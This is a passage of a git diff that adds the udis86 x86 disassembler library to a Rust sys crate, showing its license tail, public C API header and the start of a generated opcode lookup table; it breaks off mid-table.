permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UD_EXTERN_H +#define UD_EXTERN_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "types.h" + +#if defined(_MSC_VER) && defined(_USRDLL) +# ifdef LIBUDIS86_EXPORTS +# define LIBUDIS86_DLLEXTERN __declspec(dllexport) +# else +# define LIBUDIS86_DLLEXTERN __declspec(dllimport) +# endif +#else +# define LIBUDIS86_DLLEXTERN +#endif + +/* ============================= PUBLIC API ================================= */ + +extern LIBUDIS86_DLLEXTERN void ud_init(struct ud*); + +extern LIBUDIS86_DLLEXTERN void ud_set_mode(struct ud*, uint8_t); + +extern LIBUDIS86_DLLEXTERN void ud_set_pc(struct ud*, uint64_t); + +extern LIBUDIS86_DLLEXTERN void ud_set_input_hook(struct ud*, int (*)(struct ud*)); + +extern LIBUDIS86_DLLEXTERN void ud_set_input_buffer(struct ud*, const uint8_t*, size_t); + +#ifndef __UD_STANDALONE__ +extern LIBUDIS86_DLLEXTERN void ud_set_input_file(struct ud*, FILE*); +#endif /* __UD_STANDALONE__ */ + +extern LIBUDIS86_DLLEXTERN void ud_set_vendor(struct ud*, unsigned); + +extern LIBUDIS86_DLLEXTERN void ud_set_syntax(struct ud*, void (*)(struct ud*)); + +extern LIBUDIS86_DLLEXTERN void ud_input_skip(struct ud*, size_t); + +extern LIBUDIS86_DLLEXTERN int ud_input_end(const struct ud*); + +extern LIBUDIS86_DLLEXTERN unsigned int ud_decode(struct ud*); + +extern LIBUDIS86_DLLEXTERN unsigned int ud_disassemble(struct ud*); + +extern LIBUDIS86_DLLEXTERN void ud_translate_intel(struct ud*); + +extern LIBUDIS86_DLLEXTERN void ud_translate_att(struct ud*); + +extern LIBUDIS86_DLLEXTERN const char* ud_insn_asm(const struct ud* u); + +extern LIBUDIS86_DLLEXTERN const uint8_t* ud_insn_ptr(const struct ud* u); + +extern LIBUDIS86_DLLEXTERN uint64_t ud_insn_off(const struct ud*); + +extern LIBUDIS86_DLLEXTERN const char* ud_insn_hex(struct ud*); + +extern LIBUDIS86_DLLEXTERN unsigned int ud_insn_len(const struct ud* u); + +extern LIBUDIS86_DLLEXTERN const struct ud_operand* ud_insn_opr(const struct ud *u, unsigned int n); + +extern LIBUDIS86_DLLEXTERN int ud_opr_is_sreg(const struct ud_operand *opr); + +extern LIBUDIS86_DLLEXTERN int ud_opr_is_gpr(const struct ud_operand *opr); + +extern LIBUDIS86_DLLEXTERN enum ud_mnemonic_code ud_insn_mnemonic(const struct ud *u); + +extern LIBUDIS86_DLLEXTERN const char* ud_lookup_mnemonic(enum ud_mnemonic_code c); + +extern LIBUDIS86_DLLEXTERN void ud_set_user_opaque_data(struct ud*, void*); + +extern LIBUDIS86_DLLEXTERN void* ud_get_user_opaque_data(const struct ud*); + +extern LIBUDIS86_DLLEXTERN void ud_set_asm_buffer(struct ud *u, char *buf, size_t size); + +extern LIBUDIS86_DLLEXTERN void ud_set_sym_resolver(struct ud *u, + const char* (*resolver)(struct ud*, + uint64_t addr, + int64_t *offset)); + +/* ========================================================================== */ + +#ifdef __cplusplus +} +#endif +#endif /* UD_EXTERN_H */ diff --git a/lib/libudis86-sys/libudis86/itab.c b/lib/libudis86-sys/libudis86/itab.c new file mode 100644 index 0000000..953f3e5 --- /dev/null +++ b/lib/libudis86-sys/libudis86/itab.c @@ -0,0 +1,5946 @@ +/* itab.c -- generated by udis86:scripts/ud_itab.py, do no edit */ +#include "decode.h" + +#define GROUP(n) (0x8000 | (n)) +#define INVALID 0 + + +const uint16_t ud_itab__0[] = { + /* 0 */ 15, 16, 17, 18, + /* 4 */ 19, 20, GROUP(1), GROUP(2), + /* 8 */ 964, 965, 966, 967, + /* c */ 968, 969, GROUP(3), GROUP(4), + /* 10 */ 5, 6, 7, 8, + /* 14 */ 9, 10, GROUP(284), GROUP(285), + /* 18 */ 1336, 1337, 1338, 1339, + /* 1c */ 1340, 1341, GROUP(286), GROUP(287), + /* 20 */ 49, 50, 51, 52, + /* 24 */ 53, 54, INVALID, GROUP(288), + /* 28 */ 1407, 1408, 1409, 1410, + /* 2c */ 1411, 1412, INVALID, GROUP(289), + /* 30 */ 1487, 1488, 1489, 1490, + /* 34 */ 1491, 1492, INVALID, GROUP(290), + /* 38 */ 100, 101, 102, 103, + /* 3c */ 104, 105, INVALID, GROUP(291), + /* 40 */ 699, 700, 701, 702, + /* 44 */ 703, 704, 705, 706, + /* 48 */ 175, 176, 177, 178, + /* 4c */ 179, 180, 181, 182, + /* 50 */ 1246, 1247, 1248, 1249, + /* 54 */ 1250, 1251, 1252, 1253, + /* 58 */ 1101, 1102, 1103, 1104, + /* 5c */ 1105, 1106, 1107, 1108, + /* 60 */ GROUP(292), GROUP(295), GROUP(298), GROUP(299), + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ 1254, 697, 1256, 698, + /* 6c */ 709, GROUP(300), 982, GROUP(301), + /* 70 */ 726, 728, 730, 732, + /* 74 */ 734, 736, 738, 740, + /* 78 */ 742, 744, 746, 748, + /* 7c */ 750, 752, 754, 756, + /* 80 */ GROUP(302), GROUP(303), GROUP(304), GROUP(313), + /* 84 */ 1433, 1434, 1475, 1476, + /* 88 */ 828, 829, 830, 831, + /* 8c */ 832, 770, 833, GROUP(314), + /* 90 */ 1477, 1478, 1479, 1480, + /* 94 */ 1481, 1482, 1483, 1484, + /* 98 */ GROUP(315), GROUP(316), GROUP(317), 1470, + /* 9c */ GROUP(318), GROUP(322), 1310, 766, + /* a0 */ 834, 835, 836, 837, + /* a4 */ 922, GROUP(326), 114, GROUP(327), + /* a8 */ 1435, 1436, 1402, GROUP(328), + /* ac */ 790, GROUP(329), 1346, GROUP(330), + /* b0 */ 838, 839, 840, 841, + /* b4 */ 842, 843, 844, 845, + /* b8 */ 846, 847, 848, 849, + /* bc */ 850, 851, 852, 853, + /* c0 */ GROUP(331), GROUP(332), 1301, 1302, + /* c4 */ GROUP(333), GROUP(403), GROUP(405), GROUP(406), + /* c8 */ 200, 776, 1303, 1304, + /* cc */ 713, 714, GROUP(407), GROUP(408), + /* d0 */ GROUP(409), GROUP(410), GROUP(411), GROUP(412), + /* d4 */ GROUP(413), GROUP(414), GROUP(415), 1486, + /* d8 */ GROUP(416), GROUP(419), GROUP(422), GROUP(425), + /* dc */ GROUP(428), GROUP(431), GROUP(434), GROUP(437), + /* e0 */ 794, 795, 796, GROUP(440), + /* e4 */ 690, 691, 978, 979, + /* e8 */ 72, 763, GROUP(441), 765, + /* ec */ 692, 693, 980, 981, + /* f0 */ 789, 712, 1299, 1300, + /* f4 */ 687, 83, GROUP(442), GROUP(443), + /* f8 */ 77, 1395, 81, 1398, + /* fc */ 78, 1396, GROUP(444), GROUP(445), +}; + +static const uint16_t ud_itab__1[] = { + /* 0 */ 1240, INVALID, +}; + +static const uint16_t ud_itab__2[] = { + /* 0 */ 1096, INVALID, +}; + +static const uint16_t ud_itab__3[] = { + /* 0 */ 1241, INVALID, +}; + +static const uint16_t ud_itab__4[] = { + /* 0 */ GROUP(5), GROUP(6), 767, 797, + /* 4 */ INVALID, 1426, 82, 1431, + /* 8 */ 716, 1471, INVALID, 1444, + /* c */ INVALID, GROUP(27), 430, GROUP(28), + /* 10 */ GROUP(29), GROUP(30), GROUP(31), GROUP(34), + /* 14 */ GROUP(35), GROUP(36), GROUP(37), GROUP(40), + /* 18 */ GROUP(41), 955, 956, 957, + /* 1c */ 958, 959, 960, 961, + /* 20 */ 854, 855, 856, 857, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ GROUP(42), GROUP(43), GROUP(44), GROUP(45), + /* 2c */ GROUP(46), GROUP(47), GROUP(48), GROUP(49), + /* 30 */ 1472, 1297, 1295, 1296, + /* 34 */ GROUP(50), GROUP(52), INVALID, 1514, + /* 38 */ GROUP(54), INVALID, GROUP(116), INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ 84, 85, 86, 87, + /* 44 */ 88, 89, 90, 91, + /* 48 */ 92, 93, 94, 95, + /* 4c */ 96, 97, 98, 99, + /* 50 */ GROUP(143), GROUP(144), GROUP(145), GROUP(146), + /* 54 */ GROUP(147), GROUP(148), GROUP(149), GROUP(150), + /* 58 */ GROUP(151), GROUP(152), GROUP(153), GROUP(154), + /* 5c */ GROUP(155), GROUP(156), GROUP(157), GROUP(158), + /* 60 */ GROUP(159), GROUP(160), GROUP(161), GROUP(162), + /* 64 */ GROUP(163), GROUP(164), GROUP(165), GROUP(166), + /* 68 */ GROUP(167), GROUP(168), GROUP(169), GROUP(170), + /* 6c */ GROUP(171), GROUP(172), GROUP(173), GROUP(176), + /* 70 */ GROUP(177), GROUP(178), GROUP(182), GROUP(186), + /* 74 */ GROUP(191), GROUP(192), GROUP(193), 199, + /* 78 */ GROUP(194), GROUP(195), INVALID, INVALID, + /* 7c */ GROUP(196), GROUP(197), GROUP(198), GROUP(201), + /* 80 */ 727, 729, 731, 733, + /* 84 */ 735, 737, 739, 741, + /* 88 */ 743, 745, 747, 749, + /* 8c */ 751, 753, 755, 757, + /* 90 */ 1350, 1351, 1352, 1353, + /* 94 */ 1354, 1355, 1356, 1357, + /* 98 */ 1358, 1359, 1360, 1361, + /* 9c */ 1362, 1363, 1364, 1365, + /* a0 */ 1245, 1100, 131, 1670, + /* a4 */ 1375, 1376, GROUP(202), GROUP(207), + /* a8 */ 1244, 1099, 1305, 1675, + /* ac */ 1377, 1378, GROUP(215), 694, + /* b0 */ 122, 123, 775, 1673, + /* b4 */ 772, 773, 940, 941, + /* b8 */ GROUP(221), INVALID, GROUP(222), 1671, + /* bc */ 1659, 1660, 930, 931, + /* c0 */ 1473, 1474, GROUP(223), 904, + /* c4 */ GROUP(224), GROUP(225), GROUP(226), GROUP(227), + /* c8 */ 1661, 1662, 1663, 1664, + /* cc */ 1665, 1666, 1667, 1668, + /* d0 */ GROUP(236), GROUP(237), GROUP(238), GROUP(239), + /* d4 */ GROUP(240), GROUP(241), GROUP(242), GROUP(243), + /* d8 */ GROUP(244), GROUP(245), GROUP(246), GROUP(247), + /* dc */ GROUP(248), GROUP(249), GROUP(250), GROUP(251), + /* e0 */ GROUP(252), GROUP(253), GROUP(254), GROUP(255), + /* e4 */ GROUP(256), GROUP(257), GROUP(258), GROUP(259), + /* e8 */ GROUP(260), GROUP(261), GROUP(262), GROUP(263), + /* ec */ GROUP(264), GROUP(265), GROUP(266), GROUP(267), + /* f0 */ GROUP(268), GROUP(269), GROUP(270), GROUP(271), + /* f4 */ GROUP(272), GROUP(273), GROUP(274), GROUP(275), + /* f8 */ GROUP(277), GROUP(278), GROUP(279), GROUP(280), + /* fc */ GROUP(281), GROUP(282), GROUP(283), INVALID, +}; + +static const uint16_t ud_itab__5[] = { + /* 0 */ 1384, 1406, 786, 798, + /* 4 */ 1453, 1454, INVALID, INVALID, +}; + +static const uint16_t ud_itab__6[] = { + /* 0 */ GROUP(7), GROUP(8), +}; + +static const uint16_t ud_itab__7[] = { + /* 0 */ 1374, 1383, 785, 774, + /* 4 */ 1385, INVALID, 787, 719, +}; + +static const uint16_t ud_itab__8[] = { + /* 0 */ GROUP(9), GROUP(14), GROUP(15), GROUP(16), + /* 4 */ 1386, INVALID, 788, GROUP(25), +}; + +static const uint16_t ud_itab__9[] = { + /* 0 */ INVALID, GROUP(10), GROUP(11), GROUP(12), + /* 4 */ GROUP(13), INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__10[] = { + /* 0 */ INVALID, 1455, INVALID, +}; + +static const uint16_t ud_itab__11[] = { + /* 0 */ INVALID, 1461, INVALID, +}; + +static const uint16_t ud_itab__12[] = { + /* 0 */ INVALID, 1462, INVALID, +}; + +static const uint16_t ud_itab__13[] = { + /* 0 */ INVALID, 1463, INVALID, +}; + +static const uint16_t ud_itab__14[] = { + /* 0 */ 824, 952, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__15[] = { + /* 0 */ 1485, 1508, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__16[] = { + /* 0 */ GROUP(17), GROUP(18), GROUP(19), GROUP(20), + /* 4 */ GROUP(21), GROUP(22), GROUP(23), GROUP(24), +}; + +static const uint16_t ud_itab__17[] = { + /* 0 */ 1466, INVALID, INVALID, +}; + +static const uint16_t ud_itab__18[] = { + /* 0 */ 1467, INVALID, INVALID, +}; + +static const uint16_t ud_itab__19[] = { + /* 0 */ 1468, INVALID, INVALID, +}; + +static const uint16_t ud_itab__20[] = { + /* 0 */ 1469, INVALID, INVALID, +}; + +static const uint16_t ud_itab__21[] = { + /* 0 */ 1397, INVALID, INVALID, +}; + +static const uint16_t ud_itab__22[] = { + /* 0 */ 80, INVALID, INVALID, +}; + +static const uint16_t ud_itab__23[] = { + /* 0 */ 1399, INVALID, INVALID, +}; + +static const uint16_t ud_itab__24[] = { + /* 0 */ 720, INVALID, INVALID, +}; + +static const uint16_t ud_itab__25[] = { + /* 0 */ 1425, GROUP(26), INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__26[] = { + /* 0 */ 1298, INVALID, INVALID, +}; + +static const uint16_t ud_itab__27[] = { + /* 0 */ 1119, 1120, 1121, 1122, + /* 4 */ 1123, 1124, 1125, 1126, +}; + +static const uint16_t ud_itab__28[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, + /* 8 */ INVALID, INVALID, INVALID, INVALID, + /* c */ 1216, 1217, INVALID, INVALID, + /* 10 */ INVALID, INVALID, INVALID, INVALID, + /* 14 */ INVALID, INVALID, INVALID, INVALID, + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ 1218, 1219, INVALID, INVALID, + /* 20 */ INVALID, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ INVALID, INVALID, INVALID, INVALID, + /* 2c */ INVALID, INVALID, INVALID, INVALID, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ INVALID, INVALID, INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ INVALID, INVALID, INVALID, INVALID, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ INVALID, INVALID, INVALID, INVALID, + /* 5c */ INVALID, INVALID, INVALID, INVALID, + /* 60 */ INVALID, INVALID, INVALID, INVALID, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ INVALID, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, INVALID, INVALID, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, 1220, INVALID, + /* 8c */ INVALID, INVALID, 1221, INVALID, + /* 90 */ 1222, INVALID, INVALID, INVALID, + /* 94 */ 1223, INVALID, 1224, 1225, + /* 98 */ INVALID, INVALID, 1226, INVALID, + /* 9c */ INVALID, INVALID, 1227, INVALID, + /* a0 */ 1228, INVALID, INVALID, INVALID, + /* a4 */ 1229, INVALID, 1230, 1231, + /* a8 */ INVALID, INVALID, 1232, INVALID, + /* ac */ INVALID, INVALID, 1233, INVALID, + /* b0 */ 1234, INVALID, INVALID, INVALID, + /* b4 */ 1235, INVALID, 1236, 1237, + /* b8 */ INVALID, INVALID, INVALID, 1238, + /* bc */ INVALID, INVALID, INVALID, 1239, + /* c0 */ INVALID, INVALID, INVALID, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, INVALID, + /* dc */ INVALID, INVALID, INVALID, INVALID, + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, INVALID, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ INVALID, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__29[] = { + /* 0 */ 936, 925, 928, 932, +}; + +static const uint16_t ud_itab__30[] = { + /* 0 */ 938, 926, 929, 934, +}; + +static const uint16_t ud_itab__31[] = { + /* 0 */ GROUP(32), GROUP(33), +}; + +static const uint16_t ud_itab__32[] = { + /* 0 */ 892, 1563, 1571, 888, +}; + +static const uint16_t ud_itab__33[] = { + /* 0 */ 896, 1561, 1569, INVALID, +}; + +static const uint16_t ud_itab__34[] = { + /* 0 */ 894, INVALID, INVALID, 890, +}; + +static const uint16_t ud_itab__35[] = { + /* 0 */ 1449, INVALID, INVALID, 1451, +}; + +static const uint16_t ud_itab__36[] = { + /* 0 */ 1447, INVALID, INVALID, 1445, +}; + +static const uint16_t ud_itab__37[] = { + /* 0 */ GROUP(38), GROUP(39), +}; + +static const uint16_t ud_itab__38[] = { + /* 0 */ 882, INVALID, 1567, 878, +}; + +static const uint16_t ud_itab__39[] = { + /* 0 */ 886, INVALID, 1565, INVALID, +}; + +static const uint16_t ud_itab__40[] = { + /* 0 */ 884, INVALID, INVALID, 880, +}; + +static const uint16_t ud_itab__41[] = { + /* 0 */ 1127, 1128, 1129, 1130, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__42[] = { + /* 0 */ 862, INVALID, INVALID, 858, +}; + +static const uint16_t ud_itab__43[] = { + /* 0 */ 864, INVALID, INVALID, 860, +}; + +static const uint16_t ud_itab__44[] = { + /* 0 */ 141, 152, 154, 142, +}; + +static const uint16_t ud_itab__45[] = { + /* 0 */ 907, INVALID, INVALID, 905, +}; + +static const uint16_t ud_itab__46[] = { + /* 0 */ 165, 166, 168, 162, +}; + +static const uint16_t ud_itab__47[] = { + /* 0 */ 147, 148, 158, 138, +}; + +static const uint16_t ud_itab__48[] = { + /* 0 */ 1442, INVALID, INVALID, 1440, +}; + +static const uint16_t ud_itab__49[] = { + /* 0 */ 129, INVALID, INVALID, 127, +}; + +static const uint16_t ud_itab__50[] = { + /* 0 */ 1427, GROUP(51), +}; + +static const uint16_t ud_itab__51[] = { + /* 0 */ INVALID, 1428, INVALID, +}; + +static const uint16_t ud_itab__52[] = { + /* 0 */ 1429, GROUP(53), +}; + +static const uint16_t ud_itab__53[] = { + /* 0 */ INVALID, 1430, INVALID, +}; + +static const uint16_t ud_itab__54[] = { + /* 0 */ GROUP(67), GROUP(68), GROUP(63), GROUP(64), + /* 4 */ GROUP(65), GROUP(66), GROUP(86), GROUP(90), + /* 8 */ GROUP(69), GROUP(70), GROUP(71), GROUP(72), + /* c */ INVALID, INVALID, INVALID, INVALID, + /* 10 */ GROUP(73), INVALID, INVALID, INVALID, + /* 14 */ GROUP(75), GROUP(76), INVALID, GROUP(77), + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ GROUP(78), GROUP(79), GROUP(80), INVALID, + /* 20 */ GROUP(81), GROUP(82), GROUP(83), GROUP(84), + /* 24 */ GROUP(85), GROUP(108), INVALID, INVALID, + /* 28 */ GROUP(87), GROUP(88), GROUP(89), GROUP(74), + /* 2c */ INVALID, INVALID, INVALID, INVALID, + /* 30 */ GROUP(91), GROUP(92), GROUP(93), GROUP(94), + /* 34 */ GROUP(95), GROUP(96), INVALID, GROUP(97), + /* 38 */ GROUP(98), GROUP(99), GROUP(100), GROUP(101), + /* 3c */ GROUP(102), GROUP(103), GROUP(104), GROUP(105), + /* 40 */ GROUP(106), GROUP(107), INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ INVALID, INVALID, INVALID, INVALID, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ INVALID, INVALID, INVALID, INVALID, + /* 5c */ INVALID, INVALID, INVALID, INVALID, + /* 60 */ INVALID, INVALID, INVALID, INVALID, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ INVALID, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, INVALID, INVALID, + /* 80 */ GROUP(55), GROUP(59), INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, INVALID, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, GROUP(109), + /* dc */ GROUP(110), GROUP(111), GROUP(112), GROUP(113), + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, INVALID, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ GROUP(114), GROUP(115), INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__55[] = { + /* 0 */ INVALID, INVALID, INVALID, GROUP(56), +}; + +static const uint16_t ud_itab__56[] = { + /* 0 */ GROUP(57), GROUP(58), +}; + +static const uint16_t ud_itab__57[] = { + /* 0 */ INVALID, 717, INVALID, +}; + +static const uint16_t ud_itab__58[] = { + /* 0 */ INVALID, 718, INVALID, +}; + +static const uint16_t ud_itab__59[] = { + /* 0 */ INVALID, INVALID, INVALID, GROUP(60), +}; + +static const uint16_t ud_itab__60[] = { + /* 0 */ GROUP(61), GROUP(62), +}; + +static const uint16_t ud_itab__61[] = { + /* 0 */ INVALID, 721, INVALID, +}; + +static const uint16_t ud_itab__62[] = { + /* 0 */ INVALID, 722, INVALID, +}; + +static const uint16_t ud_itab__63[] = { + /* 0 */ 1588, INVALID, INVALID, 1589, +}; + +static const uint16_t ud_itab__64[] = { + /* 0 */ 1591, INVALID, INVALID, 1592, +}; + +static const uint16_t ud_itab__65[] = { + /* 0 */ 1594, INVALID, INVALID, 1595, +}; + +static const uint16_t ud_itab__66[] = { + /* 0 */ 1597, INVALID, INVALID, 1598, +}; + +static const uint16_t ud_itab__67[] = { + /* 0 */ 1582, INVALID, INVALID, 1583, +}; + +static const uint16_t ud_itab__68[] = { + /* 0 */ 1585, INVALID, INVALID, 1586, +}; + +static const uint16_t ud_itab__69[] = { + /* 0 */ 1606, INVALID, INVALID, 1607, +}; + +static const uint16_t ud_itab__70[] = { + /* 0 */ 1612, INVALID, INVALID, 1613, +}; + +static const uint16_t ud_itab__71[] = { + /* 0 */ 1609, INVALID, INVALID, 1610, +}; + +static const uint16_t ud_itab__72[] = { + /* 0 */ 1615, INVALID, INVALID, 1616, +}; + +static const uint16_t ud_itab__73[] = { + /* 0 */ INVALID, INVALID, INVALID, 1621, +}; + +static const uint16_t ud_itab__74[] = { + /* 0 */ INVALID, INVALID, INVALID, 1683, +}; + +static const uint16_t ud_itab__75[] = { + /* 0 */ INVALID, INVALID, INVALID, 1657, +}; + +static const uint16_t ud_itab__76[] = { + /* 0 */ INVALID, INVALID, INVALID, 1656, +}; + +static const uint16_t ud_itab__77[] = { + /* 0 */ INVALID, INVALID, INVALID, 1711, +}; + +static const uint16_t ud_itab__78[] = { + /* 0 */ 1573, INVALID, INVALID, 1574, +}; + +static const uint16_t ud_itab__79[] = { + /* 0 */ 1576, INVALID, INVALID, 1577, +}; + +static const uint16_t ud_itab__80[] = { + /* 0 */ 1579, INVALID, INVALID, 1580, +}; + +static const uint16_t ud_itab__81[] = { + /* 0 */ INVALID, INVALID, INVALID, 1685, +}; + +static const uint16_t ud_itab__82[] = { + /* 0 */ INVALID, INVALID, INVALID, 1687, +}; + +static const uint16_t ud_itab__83[] = { + /* 0 */ INVALID, INVALID, INVALID, 1689, +}; + +static const uint16_t ud_itab__84[] = { + /* 0 */ INVALID, INVALID, INVALID, 1691, +}; + +static const uint16_t ud_itab__85[] = { + /* 0 */ INVALID, INVALID, INVALID, 1693, +}; + +static const uint16_t ud_itab__86[] = { + /* 0 */ 1600, INVALID, INVALID, 1601, +}; + +static const uint16_t ud_itab__87[] = { + /* 0 */ INVALID, INVALID, INVALID, 1622, +}; + +static const uint16_t ud_itab__88[] = { + /* 0 */ INVALID, INVALID, INVALID, 1708, +}; + +static const uint16_t ud_itab__89[] = { + /* 0 */ INVALID, INVALID, INVALID, 1681, +}; + +static const uint16_t ud_itab__90[] = { + /* 0 */ 1603, INVALID, INVALID, 1604, +}; + +static const uint16_t ud_itab__91[] = { + /* 0 */ INVALID, INVALID, INVALID, 1696, +}; + +static const uint16_t ud_itab__92[] = { + /* 0 */ INVALID, INVALID, INVALID, 1698, +}; + +static const uint16_t ud_itab__93[] = { + /* 0 */ INVALID, INVALID, INVALID, 1700, +}; + +static const uint16_t ud_itab__94[] = { + /* 0 */ INVALID, INVALID, INVALID, 1702, +}; + +static const uint16_t ud_itab__95[] = { + /* 0 */ INVALID, INVALID, INVALID, 1704, +}; + +static const uint16_t ud_itab__96[] = { + /* 0 */ INVALID, INVALID, INVALID, 1706, +}; + +static const uint16_t ud_itab__97[] = { + /* 0 */ INVALID, INVALID, INVALID, 1717, +}; + +static const uint16_t ud_itab__98[] = { + /* 0 */ INVALID, INVALID, INVALID, 1624, +}; + +static const uint16_t ud_itab__99[] = { + /* 0 */ INVALID, INVALID, INVALID, 1626, +}; + +static const uint16_t ud_itab__100[] = { + /* 0 */ INVALID, INVALID, INVALID, 1628, +}; + +static const uint16_t ud_itab__101[] = { + /* 0 */ INVALID, INVALID, INVALID, 1630, +}; + +static const uint16_t ud_itab__102[] = { + /* 0 */ INVALID, INVALID, INVALID, 1632, +}; + +static const uint16_t ud_itab__103[] = { + /* 0 */ INVALID, INVALID, INVALID, 1634, +}; + +static const uint16_t ud_itab__104[] = { + /* 0 */ INVALID, INVALID, INVALID, 1638, +}; + +static const uint16_t ud_itab__105[] = { + /* 0 */ INVALID, INVALID, INVALID, 1636, +}; + +static const uint16_t ud_itab__106[] = { + /* 0 */ INVALID, INVALID, INVALID, 1640, +}; + +static const uint16_t ud_itab__107[] = { + /* 0 */ INVALID, INVALID, INVALID, 1642, +}; + +static const uint16_t ud_itab__108[] = { + /* 0 */ INVALID, INVALID, INVALID, 1695, +}; + +static const uint16_t ud_itab__109[] = { + /* 0 */ INVALID, INVALID, INVALID, 45, +}; + +static const uint16_t ud_itab__110[] = { + /* 0 */ INVALID, 